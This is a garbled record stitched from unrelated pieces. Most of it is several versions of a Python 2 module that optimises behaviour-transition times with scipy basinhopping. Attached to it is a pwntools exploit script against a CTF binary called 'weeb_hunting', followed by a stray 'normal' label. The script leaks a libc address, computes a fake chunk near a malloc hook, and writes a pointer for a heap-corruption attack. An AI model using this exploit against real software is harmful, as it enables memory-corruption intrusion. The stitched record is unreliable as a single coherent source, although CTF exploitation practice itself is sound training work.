deflate\n\n def __call__(self, x):\n y = None\n for i in xrange(self.max_iter):\n B = self.deflate ** (i + 1)\n r = self.stepsize * B\n u = np.random.uniform(-r, r, x.shape)\n if self.bounds.is_valid(x + u):\n x += u\n return x\n return x\n\n\ndef optimize_path(paths, behaviours, btg, start, prediction, dt, maxiter):\n \"\"\"Erlang Entry Point to Optimization Module\"\"\"\n B_table = parse_behaviours(behaviours)\n BTG = parse_edgelist(btg)\n F = parse_prediction(prediction)\n path, t = best_path(paths, B_table, BTG, F, dt=dt, maxiter=10)\n return list(path), map(lambda x: int(x) + start, t.x)\n\n\ndef best_path(paths, Behaviour_Table, BTG, F, dt=1.0, maxiter=20, Acc0=None,\n method='SLSQP'):\n \"\"\"\n Perform the mixed ILP optimization (without queues, or memory), that yields\n the optimal behaviour transition through the BTG.\n\n :paths -> iterable of path-iterables, path-domain for optimization\n Each path-iterable contains only behaviour_id.\n :Behaviour_Table -> Dict of the form {behaviour_id: <behaviour_vec>}\n Must contain all behaviours in btg\n :btg -> Behaviour Transition Graph, nodes are behaviour_ids,\n dictionary of the form {(v_1, v_2): tau_1,2}\n :F -> Prediction matrix, of shape (|b_vec|, n),\n where n is int(T_max/dt)\n :dt -> Prediction time-resolution\n :Acc0 -> Initial queue Accumulator (queue length) value, defaults 0.\n \"\"\"\n Acc0 = np.zeros(F.shape[0]) if Acc0 is None else Acc0\n Solutions = []\n t_max = int((F.shape[-1] - 1) * dt)\n initial_T = F.sum() / len(paths[0])\n for path in paths:\n L, x0, bounds, step_taker = opt_params(path, Behaviour_Table, BTG,\n t_max, F, dt=dt, Acc0=Acc0)\n minimizer_kwargs = {'method': method, 'bounds': bounds.SLSQP_bounds\n (), 'constraints': bounds.SLSQP_constraints()[method.lower()]}\n result = basinhopping(L, x0.copy(), accept_test=bounds, take_step=\n step_taker, stepsize=10 * dt, niter=maxiter, T=initial_T,\n interval=20, minimizer_kwargs=minimizer_kwargs)\n Solutions.append(result)\n i, BestPath = min(((i, s) for i, s in enumerate(Solutions)), key=lambda\n x: x[1].fun)\n return paths[i], BestPath\n\n\ndef opt_params(path, BTable, BTG, t_max, F, dt, Acc0, q_acc_model=qsim.\n integrator, q_acc_model_args=[], q_model_kwargs={}, q_relief_model=qsim\n .linear_relief, deadtime_penalty=4):\n \"\"\"Generates the components necessary to completely specify\n best-path optimization routine. (With a queue model)\n\n Returns:\n :Lagrangian Objective Function L(x) -> Contains a Barrier Component\n :x0 -> an initial realizeable solution\n :bounds -> a Bounds() object, that defines surrounding hyper-volume for x\n \"\"\"\n B = np.vstack(BTable[bid] for bid in path)\n taus = transition_costs(path, BTG)\n x0 = initial_soln(path, t_max)\n bounds = Bounds(0.0, (F.shape[-1] - 1) * dt, taus)\n\n def cost(x, p=deadtime_penalty):\n \"\"\"Simulate the queue effects, and then evaluate the objective function\n on the simulation result\"\"\"\n k = F.shape[1] if F.shape[1] > 0 else 1\n avg_rates = F.sum(1) / k\n Z, Acc = qsim.cascading_relief(F, path, x, costs=taus, BTable=\n BTable, Acc0=Acc0, relief_mode_kwargs={'rate': 0.5})\n cum_Z = np.cumsum(Z, axis=1)\n Deadtimes = np.where(Z == 0, 0, 1).sum(1)\n return -obj(x, B, cum_Z, taus, dt=dt) + 0.25 * avg_rates.dot(Deadtimes\n ) ** 2 - avg_rates.sum() * Acc.sum()\n step_taker = Stepper(bounds, 10, 20)\n return cost, x0, bounds, step_taker\n\n\n<mask token>\n\n\ndef parse_behaviours(behaviours, dtype=np.float32):\n \"\"\"[(bid, [bvec])] -> {bid: <bvec>}\"\"\"\n return {bid: np.array(bvec).sum(1) for bid, bvec in behaviours}\n\n\ndef parse_prediction(F):\n \"\"\"[[float]] -> np.array(...) of same shape\"\"\"\n return np.array(F)\n\n\n<mask token>\n\n\ndef range_sum(cum_F, a, b, penalty=-1000):\n \"\"\"Penalty brutally dominates any out-of-index operation...\"\"\"\n z = cum_F.shape[-1] - 1\n if not 0 <= a <= z or not 0 <= b <= z:\n return np.ones(cum_F.shape[0]) * penalty\n return cum_F[..., b] - cum_F[..., a]\n\n\n<mask token>\n\n\ndef barrier(times, path, BTG):\n \"\"\"Handles Linear/causality Constraints with respect to transitions\"\"\"\n t = [0] + list(times)\n S = 0.0\n for i in xrange(len(path) - 1):\n edge = path[i], path[i + 1]\n tau = BTG[edge]\n S += min(0, t[i + 1] - t[i] - tau)\n return S\n", "step-3": "<mask token>\n\n\nclass Bounds(object):\n \"\"\"Required for acceptance testing in scipy.optimize.basinhopping\"\"\"\n\n def __init__(self, xmin, xmax, costs):\n self.xmax = xmax\n self.xmin = xmin\n self.costs = costs\n\n def is_valid(self, x):\n tmax = bool(np.all(x <= self.xmax))\n tmin = bool(np.all(x >= self.xmin))\n in_order = [(x[i] + c <= x[i + 1]) for i, c in enumerate(self.costs\n [1:])]\n in_order.append(x[0] <= self.costs[0])\n return tmax and tmin and all(in_order)\n\n def __call__(self, **kwargs):\n x = kwargs['x_new']\n return self.is_valid(x)\n\n def SLSQP_constraints(self):\n \"\"\"Return inequality constraints for SLSQP,\n in particular, assert that 0 >= x_i - x_i-1 forall i\"\"\"\n funs = [(lambda x: x[i + 1] - x[i] + c) for i, c in enumerate(self.\n costs[1:])]\n funs.append(lambda x: x[0] + self.costs[0])\n funs += [(lambda x: x[i]) for i in xrange(len(self.costs))]\n funs += [lambda x: -x[i]]\n n = len(self.costs)\n neg = np.identity(n) * -1\n rhs1 = np.ones(n) * self.xmin\n rhs1[0] += self.costs[0]\n tmax = np.identity(n)\n rhs2 = np.ones(n) * self.xmax\n A = np.vstack((neg, tmax))\n b = np.hstack((rhs1, rhs2))\n if n >= 2:\n root = [1, -1] + [0] * (n - 2)\n z = np.vstack([np.roll(root, i) for i in xrange(n - 1)])\n rhs3 = np.array(self.costs[1:])\n A = np.vstack((A, z))\n b = np.hstack((b, rhs3))\n return {'slsqp': {'type': 'ineq', 'fun': lambda x: b - np.dot(A, x)\n }, 'cobyla': [{'type': 'ineq', 'fun': f} for f in funs]}\n\n def SLSQP_bounds(self):\n \"\"\"Return bounds as sequence\"\"\"\n return [(self.xmin, self.xmax) for i in xrange(len(self.costs))]\n\n\nclass Stepper(object):\n\n def __init__(self, bounds, stepsize=10, max_iter=20, deflate=0.5):\n self.bounds = bounds\n self.stepsize = stepsize\n self.max_iter = max_iter\n self.deflate = deflate\n\n def __call__(self, x):\n y = None\n for i in xrange(self.max_iter):\n B = self.deflate ** (i + 1)\n r = self.stepsize * B\n u = np.random.uniform(-r, r, x.shape)\n if self.bounds.is_valid(x + u):\n x += u\n return x\n return x\n\n\ndef optimize_path(paths, behaviours, btg, start, prediction, dt, maxiter):\n \"\"\"Erlang Entry Point to Optimization Module\"\"\"\n B_table = parse_behaviours(behaviours)\n BTG = parse_edgelist(btg)\n F = parse_prediction(prediction)\n path, t = best_path(paths, B_table, BTG, F, dt=dt, maxiter=10)\n return list(path), map(lambda x: int(x) + start, t.x)\n\n\ndef best_path(paths, Behaviour_Table, BTG, F, dt=1.0, maxiter=20, Acc0=None,\n method='SLSQP'):\n \"\"\"\n Perform the mixed ILP optimization (without queues, or memory), that yields\n the optimal behaviour transition through the BTG.\n\n :paths -> iterable of path-iterables, path-domain for optimization\n Each path-iterable contains only behaviour_id.\n :Behaviour_Table -> Dict of the form {behaviour_id: <behaviour_vec>}\n Must contain all behaviours in btg\n :btg -> Behaviour Transition Graph, nodes are behaviour_ids,\n dictionary of the form {(v_1, v_2): tau_1,2}\n :F -> Prediction matrix, of shape (|b_vec|, n),\n where n is int(T_max/dt)\n :dt -> Prediction time-resolution\n :Acc0 -> Initial queue Accumulator (queue length) value, defaults 0.\n \"\"\"\n Acc0 = np.zeros(F.shape[0]) if Acc0 is None else Acc0\n Solutions = []\n t_max = int((F.shape[-1] - 1) * dt)\n initial_T = F.sum() / len(paths[0])\n for path in paths:\n L, x0, bounds, step_taker = opt_params(path, Behaviour_Table, BTG,\n t_max, F, dt=dt, Acc0=Acc0)\n minimizer_kwargs = {'method': method, 'bounds': bounds.SLSQP_bounds\n (), 'constraints': bounds.SLSQP_constraints()[method.lower()]}\n result = basinhopping(L, x0.copy(), accept_test=bounds, take_step=\n step_taker, stepsize=10 * dt, niter=maxiter, T=initial_T,\n interval=20, minimizer_kwargs=minimizer_kwargs)\n Solutions.append(result)\n i, BestPath = min(((i, s) for i, s in enumerate(Solutions)), key=lambda\n x: x[1].fun)\n return paths[i], BestPath\n\n\ndef opt_params(path, BTable, BTG, t_max, F, dt, Acc0, q_acc_model=qsim.\n integrator, q_acc_model_args=[], q_model_kwargs={}, q_relief_model=qsim\n .linear_relief, deadtime_penalty=4):\n \"\"\"Generates the components necessary to completely specify\n best-path optimization routine. (With a queue model)\n\n Returns:\n :Lagrangian Objective Function L(x) -> Contains a Barrier Component\n :x0 -> an initial realizeable solution\n :bounds -> a Bounds() object, that defines surrounding hyper-volume for x\n \"\"\"\n B = np.vstack(BTable[bid] for bid in path)\n taus = transition_costs(path, BTG)\n x0 = initial_soln(path, t_max)\n bounds = Bounds(0.0, (F.shape[-1] - 1) * dt, taus)\n\n def cost(x, p=deadtime_penalty):\n \"\"\"Simulate the queue effects, and then evaluate the objective function\n on the simulation result\"\"\"\n k = F.shape[1] if F.shape[1] > 0 else 1\n avg_rates = F.sum(1) / k\n Z, Acc = qsim.cascading_relief(F, path, x, costs=taus, BTable=\n BTable, Acc0=Acc0, relief_mode_kwargs={'rate': 0.5})\n cum_Z = np.cumsum(Z, axis=1)\n Deadtimes = np.where(Z == 0, 0, 1).sum(1)\n return -obj(x, B, cum_Z, taus, dt=dt) + 0.25 * avg_rates.dot(Deadtimes\n ) ** 2 - avg_rates.sum() * Acc.sum()\n step_taker = Stepper(bounds, 10, 20)\n return cost, x0, bounds, step_taker\n\n\ndef parse_edgelist(edges):\n \"\"\"[((a, b), tau)] -> {(a, b): tau}\"\"\"\n return {(a, b): tau for (a, b), tau in edges}\n\n\ndef parse_behaviours(behaviours, dtype=np.float32):\n \"\"\"[(bid, [bvec])] -> {bid: <bvec>}\"\"\"\n return {bid: np.array(bvec).sum(1) for bid, bvec in behaviours}\n\n\ndef parse_prediction(F):\n \"\"\"[[float]] -> np.array(...) of same shape\"\"\"\n return np.array(F)\n\n\ndef initial_soln(path, t_max):\n \"\"\"Evenly Distributed, no check for taus\"\"\"\n j = t_max / len(path)\n return np.array([((i + 1) * j) for i in xrange(len(path) - 1)])\n\n\ndef transition_costs(path, btg):\n \"\"\"Sequence of transition costs associated with the prescribed path\"\"\"\n return [btg[path[i], path[i + 1]] for i in xrange(len(path) - 1)]\n\n\ndef range_sum(cum_F, a, b, penalty=-1000):\n \"\"\"Penalty brutally dominates any out-of-index operation...\"\"\"\n z = cum_F.shape[-1] - 1\n if not 0 <= a <= z or not 0 <= b <= z:\n return np.ones(cum_F.shape[0]) * penalty\n return cum_F[..., b] - cum_F[..., a]\n\n\ndef flow_served(cum_F, times, costs, queue_model=None, dt=1.0):\n \"\"\"Times: [t1, ..., td],\n costs: [t_{b0, b1}, t_{b1, b2}, ...]\n Returns the Fulfillment matrix associated with each behaviour segment.\"\"\"\n discr_index = lambda x: int(x / dt) - 1\n t_steps = [0] + map(discr_index, times)\n t_steps.append(cum_F.shape[-1] - 1)\n c_steps = [0] + map(discr_index, costs)\n result = np.vstack([range_sum(cum_F, t_steps[i] + c_steps[i], t_steps[i +\n 1]) for i in xrange(len(costs) + 1)])\n return result\n\n\ndef obj(times, B, cum_F, costs, dt=1.0):\n \"\"\"Objective Function for Hillclimbing\"\"\"\n Z = B * flow_served(cum_F, times, costs, dt=dt)\n return Z.sum()\n\n\ndef barrier(times, path, BTG):\n \"\"\"Handles Linear/causality Constraints with respect to transitions\"\"\"\n t = [0] + list(times)\n S = 0.0\n for i in xrange(len(path) - 1):\n edge = path[i], path[i + 1]\n tau = BTG[edge]\n S += min(0, t[i + 1] - t[i] - tau)\n return S\n", "step-4": "from erlport.erlterms import Atom\nfrom scipy.optimize import basinhopping\nimport numpy as np\nimport qsim\n\n\nclass Bounds(object):\n \"\"\"Required for acceptance testing in scipy.optimize.basinhopping\"\"\"\n\n def __init__(self, xmin, xmax, costs):\n self.xmax = xmax\n self.xmin = xmin\n self.costs = costs\n\n def is_valid(self, x):\n tmax = bool(np.all(x <= self.xmax))\n tmin = bool(np.all(x >= self.xmin))\n in_order = [(x[i] + c <= x[i + 1]) for i, c in enumerate(self.costs\n [1:])]\n in_order.append(x[0] <= self.costs[0])\n return tmax and tmin and all(in_order)\n\n def __call__(self, **kwargs):\n x = kwargs['x_new']\n return self.is_valid(x)\n\n def SLSQP_constraints(self):\n \"\"\"Return inequality constraints for SLSQP,\n in particular, assert that 0 >= x_i - x_i-1 forall i\"\"\"\n funs = [(lambda x: x[i + 1] - x[i] + c) for i, c in enumerate(self.\n costs[1:])]\n funs.append(lambda x: x[0] + self.costs[0])\n funs += [(lambda x: x[i]) for i in xrange(len(self.costs))]\n funs += [lambda x: -x[i]]\n n = len(self.costs)\n neg = np.identity(n) * -1\n rhs1 = np.ones(n) * self.xmin\n rhs1[0] += self.costs[0]\n tmax = np.identity(n)\n rhs2 = np.ones(n) * self.xmax\n A = np.vstack((neg, tmax))\n b = np.hstack((rhs1, rhs2))\n if n >= 2:\n root = [1, -1] + [0] * (n - 2)\n z = np.vstack([np.roll(root, i) for i in xrange(n - 1)])\n rhs3 = np.array(self.costs[1:])\n A = np.vstack((A, z))\n b = np.hstack((b, rhs3))\n return {'slsqp': {'type': 'ineq', 'fun': lambda x: b - np.dot(A, x)\n }, 'cobyla': [{'type': 'ineq', 'fun': f} for f in funs]}\n\n def SLSQP_bounds(self):\n \"\"\"Return bounds as sequence\"\"\"\n return [(self.xmin, self.xmax) for i in xrange(len(self.costs))]\n\n\nclass Stepper(object):\n\n def __init__(self, bounds, stepsize=10, max_iter=20, deflate=0.5):\n self.bounds = bounds\n self.stepsize = stepsize\n self.max_iter = max_iter\n self.deflate = deflate\n\n def __call__(self, x):\n y = None\n for i in xrange(self.max_iter):\n B = self.deflate ** (i + 1)\n r = self.stepsize * B\n u = np.random.uniform(-r, r, x.shape)\n if self.bounds.is_valid(x + u):\n x += u\n return x\n return x\n\n\ndef optimize_path(paths, behaviours, btg, start, prediction, dt, maxiter):\n \"\"\"Erlang Entry Point to Optimization Module\"\"\"\n B_table = parse_behaviours(behaviours)\n BTG = parse_edgelist(btg)\n F = parse_prediction(prediction)\n path, t = best_path(paths, B_table, BTG, F, dt=dt, maxiter=10)\n return list(path), map(lambda x: int(x) + start, t.x)\n\n\ndef best_path(paths, Behaviour_Table, BTG, F, dt=1.0, maxiter=20, Acc0=None,\n method='SLSQP'):\n \"\"\"\n Perform the mixed ILP optimization (without queues, or memory), that yields\n the optimal behaviour transition through the BTG.\n\n :paths -> iterable of path-iterables, path-domain for optimization\n Each path-iterable contains only behaviour_id.\n :Behaviour_Table -> Dict of the form {behaviour_id: <behaviour_vec>}\n Must contain all behaviours in btg\n :btg -> Behaviour Transition Graph, nodes are behaviour_ids,\n dictionary of the form {(v_1, v_2): tau_1,2}\n :F -> Prediction matrix, of shape (|b_vec|, n),\n where n is int(T_max/dt)\n :dt -> Prediction time-resolution\n :Acc0 -> Initial queue Accumulator (queue length) value, defaults 0.\n \"\"\"\n Acc0 = np.zeros(F.shape[0]) if Acc0 is None else Acc0\n Solutions = []\n t_max = int((F.shape[-1] - 1) * dt)\n initial_T = F.sum() / len(paths[0])\n for path in paths:\n L, x0, bounds, step_taker = opt_params(path, Behaviour_Table, BTG,\n t_max, F, dt=dt, Acc0=Acc0)\n minimizer_kwargs = {'method': method, 'bounds': bounds.SLSQP_bounds\n (), 'constraints': bounds.SLSQP_constraints()[method.lower()]}\n result = basinhopping(L, x0.copy(), accept_test=bounds, take_step=\n step_taker, stepsize=10 * dt, niter=maxiter, T=initial_T,\n interval=20, minimizer_kwargs=minimizer_kwargs)\n Solutions.append(result)\n i, BestPath = min(((i, s) for i, s in enumerate(Solutions)), key=lambda\n x: x[1].fun)\n return paths[i], BestPath\n\n\ndef opt_params(path, BTable, BTG, t_max, F, dt, Acc0, q_acc_model=qsim.\n integrator, q_acc_model_args=[], q_model_kwargs={}, q_relief_model=qsim\n .linear_relief, deadtime_penalty=4):\n \"\"\"Generates the components necessary to completely specify\n best-path optimization routine. (With a queue model)\n\n Returns:\n :Lagrangian Objective Function L(x) -> Contains a Barrier Component\n :x0 -> an initial realizeable solution\n :bounds -> a Bounds() object, that defines surrounding hyper-volume for x\n \"\"\"\n B = np.vstack(BTable[bid] for bid in path)\n taus = transition_costs(path, BTG)\n x0 = initial_soln(path, t_max)\n bounds = Bounds(0.0, (F.shape[-1] - 1) * dt, taus)\n\n def cost(x, p=deadtime_penalty):\n \"\"\"Simulate the queue effects, and then evaluate the objective function\n on the simulation result\"\"\"\n k = F.shape[1] if F.shape[1] > 0 else 1\n avg_rates = F.sum(1) / k\n Z, Acc = qsim.cascading_relief(F, path, x, costs=taus, BTable=\n BTable, Acc0=Acc0, relief_mode_kwargs={'rate': 0.5})\n cum_Z = np.cumsum(Z, axis=1)\n Deadtimes = np.where(Z == 0, 0, 1).sum(1)\n return -obj(x, B, cum_Z, taus, dt=dt) + 0.25 * avg_rates.dot(Deadtimes\n ) ** 2 - avg_rates.sum() * Acc.sum()\n step_taker = Stepper(bounds, 10, 20)\n return cost, x0, bounds, step_taker\n\n\ndef parse_edgelist(edges):\n \"\"\"[((a, b), tau)] -> {(a, b): tau}\"\"\"\n return {(a, b): tau for (a, b), tau in edges}\n\n\ndef parse_behaviours(behaviours, dtype=np.float32):\n \"\"\"[(bid, [bvec])] -> {bid: <bvec>}\"\"\"\n return {bid: np.array(bvec).sum(1) for bid, bvec in behaviours}\n\n\ndef parse_prediction(F):\n \"\"\"[[float]] -> np.array(...) of same shape\"\"\"\n return np.array(F)\n\n\ndef initial_soln(path, t_max):\n \"\"\"Evenly Distributed, no check for taus\"\"\"\n j = t_max / len(path)\n return np.array([((i + 1) * j) for i in xrange(len(path) - 1)])\n\n\ndef transition_costs(path, btg):\n \"\"\"Sequence of transition costs associated with the prescribed path\"\"\"\n return [btg[path[i], path[i + 1]] for i in xrange(len(path) - 1)]\n\n\ndef range_sum(cum_F, a, b, penalty=-1000):\n \"\"\"Penalty brutally dominates any out-of-index operation...\"\"\"\n z = cum_F.shape[-1] - 1\n if not 0 <= a <= z or not 0 <= b <= z:\n return np.ones(cum_F.shape[0]) * penalty\n return cum_F[..., b] - cum_F[..., a]\n\n\ndef flow_served(cum_F, times, costs, queue_model=None, dt=1.0):\n \"\"\"Times: [t1, ..., td],\n costs: [t_{b0, b1}, t_{b1, b2}, ...]\n Returns the Fulfillment matrix associated with each behaviour segment.\"\"\"\n discr_index = lambda x: int(x / dt) - 1\n t_steps = [0] + map(discr_index, times)\n t_steps.append(cum_F.shape[-1] - 1)\n c_steps = [0] + map(discr_index, costs)\n result = np.vstack([range_sum(cum_F, t_steps[i] + c_steps[i], t_steps[i +\n 1]) for i in xrange(len(costs) + 1)])\n return result\n\n\ndef obj(times, B, cum_F, costs, dt=1.0):\n \"\"\"Objective Function for Hillclimbing\"\"\"\n Z = B * flow_served(cum_F, times, costs, dt=dt)\n return Z.sum()\n\n\ndef barrier(times, path, BTG):\n \"\"\"Handles Linear/causality Constraints with respect to transitions\"\"\"\n t = [0] + list(times)\n S = 0.0\n for i in xrange(len(path) - 1):\n edge = path[i], path[i + 1]\n tau = BTG[edge]\n S += min(0, t[i + 1] - t[i] - tau)\n return S\n", "step-5": "from erlport.erlterms import Atom\nfrom scipy.optimize import basinhopping\nimport numpy as np\nimport qsim\n\nclass Bounds(object):\n '''Required for acceptance testing in scipy.optimize.basinhopping'''\n def __init__(self, xmin, xmax, costs):\n self.xmax = xmax\n self.xmin = xmin\n self.costs = costs\n\n def is_valid(self, x):\n tmax = bool(np.all(x <= self.xmax))\n tmin = bool(np.all(x >= self.xmin))\n in_order = [x[i] + c <= x[i+1] for i, c in enumerate(self.costs[1:])]\n in_order.append(x[0] <= self.costs[0])\n return tmax and tmin and all(in_order)\n\n def __call__(self, **kwargs):\n x = kwargs[\"x_new\"]\n return self.is_valid(x)\n\n def SLSQP_constraints(self):\n '''Return inequality constraints for SLSQP,\n in particular, assert that 0 >= x_i - x_i-1 forall i'''\n funs = [lambda x: x[i + 1] - x[i] + c\n for i, c in enumerate(self.costs[1:])]\n funs.append(lambda x: x[0] + self.costs[0])\n funs += [lambda x: x[i] for i in xrange(len(self.costs))]\n funs += [lambda x: -x[i]]\n\n # im matrix form\n n = len(self.costs)\n # -x_i <= 0\n neg = np.identity(n) * -1\n rhs1 = np.ones(n) * self.xmin\n rhs1[0] += self.costs[0]\n # tmax constraints\n tmax = np.identity(n)\n rhs2 = np.ones(n) * self.xmax\n # cost constraints\n A = np.vstack((neg, tmax))\n b = np.hstack((rhs1, rhs2))\n if n >= 2:\n root = [1, -1] + [0] * (n - 2)\n z = np.vstack([np.roll(root, i) for i in xrange(n-1)])\n rhs3 = np.array(self.costs[1:])\n A = np.vstack((A, z))\n b = np.hstack((b, rhs3))\n return {\"slsqp\": {'type': 'ineq', 'fun': lambda x: b - np.dot(A, x)},\n \"cobyla\": [{'type': 'ineq', 'fun': f} for f in funs]}\n\n def SLSQP_bounds(self):\n '''Return bounds as sequence'''\n return [(self.xmin, self.xmax) for i in xrange(len(self.costs))]\n\n\n\nclass Stepper(object):\n def __init__(self, bounds, stepsize=10, max_iter=20, deflate=0.5):\n self.bounds = bounds\n self.stepsize = stepsize\n self.max_iter = max_iter\n self.deflate = deflate\n\n def __call__(self, x):\n y = None\n for i in xrange(self.max_iter):\n B = self.deflate ** (i + 1)\n r = self.stepsize * B\n u = np.random.uniform(-r, r, x.shape)\n if self.bounds.is_valid(x + u):\n x += u\n return x\n return x\n\n\ndef optimize_path(paths, behaviours, btg, start, prediction, dt, maxiter):\n '''Erlang Entry Point to Optimization Module'''\n B_table = parse_behaviours(behaviours)\n BTG = parse_edgelist(btg)\n F = parse_prediction(prediction)\n\n path, t = best_path(paths, B_table, BTG, F, dt=dt, maxiter=10)\n return list(path), map(lambda x: int(x) + start, t.x)\n\n\ndef best_path(paths, Behaviour_Table, BTG, F, dt=1.,\n maxiter=20, Acc0=None, method=\"SLSQP\"):\n '''\n Perform the mixed ILP optimization (without queues, or memory), that yields\n the optimal behaviour transition through the BTG.\n\n :paths -> iterable of path-iterables, path-domain for optimization\n Each path-iterable contains only behaviour_id.\n :Behaviour_Table -> Dict of the form {behaviour_id: <behaviour_vec>}\n Must contain all behaviours in btg\n :btg -> Behaviour Transition Graph, nodes are behaviour_ids,\n dictionary of the form {(v_1, v_2): tau_1,2}\n :F -> Prediction matrix, of shape (|b_vec|, n),\n where n is int(T_max/dt)\n :dt -> Prediction time-resolution\n :Acc0 -> Initial queue Accumulator (queue length) value, defaults 0.\n '''\n # Given a particular path, find the optimal times to transition\n Acc0 = np.zeros(F.shape[0]) if Acc0 is None else Acc0\n\n Solutions = []\n t_max = int((F.shape[-1] - 1) * dt)\n initial_T = F.sum() / len(paths[0])\n for path in paths:\n L, x0, bounds, step_taker = opt_params(path, Behaviour_Table,\n BTG, t_max, F, dt=dt, Acc0=Acc0)\n\n minimizer_kwargs = {'method': method, 'bounds': bounds.SLSQP_bounds(),\n 'constraints': bounds.SLSQP_constraints()[method.lower()],\n }\n result = basinhopping(L, x0.copy(),\n accept_test=bounds,\n take_step=step_taker, stepsize=10*dt,\n niter=maxiter, T=initial_T,\n interval=20,\n minimizer_kwargs=minimizer_kwargs)\n Solutions.append(result)\n\n i, BestPath = min(((i, s) for i, s in enumerate(Solutions)),\n key=lambda x: x[1].fun)\n return paths[i], BestPath\n\n\ndef opt_params(path, BTable, BTG, t_max, F, dt, Acc0,\n q_acc_model=qsim.integrator, q_acc_model_args=[], q_model_kwargs={},\n q_relief_model=qsim.linear_relief,\n deadtime_penalty=4):\n '''Generates the components necessary to completely specify\n best-path optimization routine. (With a queue model)\n\n Returns:\n :Lagrangian Objective Function L(x) -> Contains a Barrier Component\n :x0 -> an initial realizeable solution\n :bounds -> a Bounds() object, that defines surrounding hyper-volume for x\n '''\n B = np.vstack(BTable[bid] for bid in path) # Behaviour Matrix (d,4)\n taus = transition_costs(path, BTG)\n x0 = initial_soln(path, t_max)\n bounds = Bounds(0., (F.shape[-1] - 1) * dt, taus)\n\n def cost(x, p=deadtime_penalty):\n '''Simulate the queue effects, and then evaluate the objective function\n on the simulation result'''\n k = F.shape[1] if F.shape[1] > 0 else 1\n avg_rates = F.sum(1) / k\n Z, Acc = qsim.cascading_relief(F, path, x, costs=taus, BTable=BTable,\n Acc0=Acc0, relief_mode_kwargs={\"rate\": 0.5})\n cum_Z = np.cumsum(Z, axis=1)\n\n Deadtimes = np.where(Z == 0, 0, 1).sum(1)\n\n return (-obj(x, B, cum_Z, taus, dt=dt)\n + 0.25* avg_rates.dot(Deadtimes) ** 2\n - avg_rates.sum()*Acc.sum()) # ????\n\n\n step_taker = Stepper(bounds, 10, 20)\n return cost, x0, bounds, step_taker\n\n\n# Parsers ###############################################################\ndef parse_edgelist(edges):\n '''[((a, b), tau)] -> {(a, b): tau}'''\n return {(a, b): tau for (a, b), tau in edges}\n\ndef parse_behaviours(behaviours, dtype=np.float32):\n '''[(bid, [bvec])] -> {bid: <bvec>}'''\n return {bid: np.array(bvec).sum(1) for bid, bvec in behaviours}\n\ndef parse_prediction(F):\n '''[[float]] -> np.array(...) of same shape'''\n return np.array(F) # Might not work, will check back later\n\n\n# Optimization ###############################################################\ndef initial_soln(path, t_max):\n '''Evenly Distributed, no check for taus'''\n j = t_max / len(path)\n return np.array([(i + 1) * j for i in xrange(len(path) - 1)])\n\ndef transition_costs(path, btg):\n '''Sequence of transition costs associated with the prescribed path'''\n return [btg[(path[i], path[i+1])] for i in xrange(len(path) - 1)]\n\ndef range_sum(cum_F, a, b, penalty=-1000):\n '''Penalty brutally dominates any out-of-index operation...'''\n z = cum_F.shape[-1] - 1\n if (not 0 <= a <= z) or (not 0 <= b <= z):\n return np.ones(cum_F.shape[0]) * penalty\n return cum_F[..., b] - cum_F[..., a]\n\ndef flow_served(cum_F, times, costs, queue_model=None, dt=1.):\n '''Times: [t1, ..., td],\n costs: [t_{b0, b1}, t_{b1, b2}, ...]\n Returns the Fulfillment matrix associated with each behaviour segment.'''\n discr_index = lambda x: int(x / dt) - 1\n t_steps = [0] + map(discr_index, times)\n t_steps.append(cum_F.shape[-1] - 1) # t_max\n\n c_steps = [0] + map(discr_index, costs)\n\n result = np.vstack([range_sum(cum_F, t_steps[i] + c_steps[i], t_steps[i + 1])\n for i in xrange(len(costs) + 1)])\n return result\n\ndef obj(times, B, cum_F, costs, dt=1.):\n '''Objective Function for Hillclimbing'''\n Z = B * flow_served(cum_F, times, costs, dt=dt)\n return Z.sum()\n\ndef barrier(times, path, BTG):\n '''Handles Linear/causality Constraints with respect to transitions'''\n t = [0] + list(times)\n S = 0.\n for i in xrange(len(path) - 1):\n edge = (path[i], path[i + 1])\n tau = BTG[edge]\n S += min(0, (t[i + 1] - t[i] - tau)) # Only accrue if constraint is voilated\n return S\n", "step-ids": [ 16, 17, 22, 23, 24 ] }
[ 16, 17, 22, 23, 24 ]
from pwn import * p = process("./weeb_hunting") elf = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") pwnlib.gdb.attach(p) r = p.recv() while "You found a" not in r: r = p.recvuntil(">") p.send("AAAA\n") p.send("AAAA\n") r = p.recv() while "You found a" not in r: r = p.recvuntil(">") p.send("AAAA\n") p.send("AAAA\n") r = p.recv() while "You found a" not in r: r = p.recvuntil(">") p.send("AAAA\n") p.send("\n") r = p.recv() while "You found a" not in r: r = p.recvuntil(">") p.send("\n") p.send("\n") r = p.recv() while "10. empty" not in r: p.send("\n") r = p.recv() p.sendline("1") r = p.recv() while "10. empty" not in r: p.send("\n") r = p.recv() p.sendline("4") r = p.recv() while "You found a" not in r: p.send("\n") r = p.recv() p.sendline('\x41\x22\x60') r = p.recv() while "You found a" not in r: p.send("\n") r = p.recv() p.sendline('AAAA') r = p.recv() while "You found a" not in r: p.send("\n") r = p.recv() p.sendline('AAAA') r = p.recv() while "You found a sword" not in r: p.send("\n") r = p.recv() p.sendline("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA` `") r = p.recv() while "10. empty" not in r: p.send("\n") r = p.recv() __srandom = u64((r.split("1. ")[1].split("\n")[0] + "\x00"*8)[:8]) log.info(hex(__srandom)) hook = __srandom + 0x38A21D log.info("Fake chunk: " + hex(hook)) p.sendline("2") r = p.recv() while "10. empty" not in r: p.send("\n") r = p.recv() p.sendline("3") r = p.recv() while "10. empty" not in r: p.send("\n") r = p.recv() p.sendline("4") r = p.recv() while "10. empty" not in r: p.send("\n") r = p.recv() p.sendline("3") r = p.recv() while "You found a" not in r: p.send("\n") r = p.recv() p.sendline(p64(hook)[:6]) p.interactive()
normal
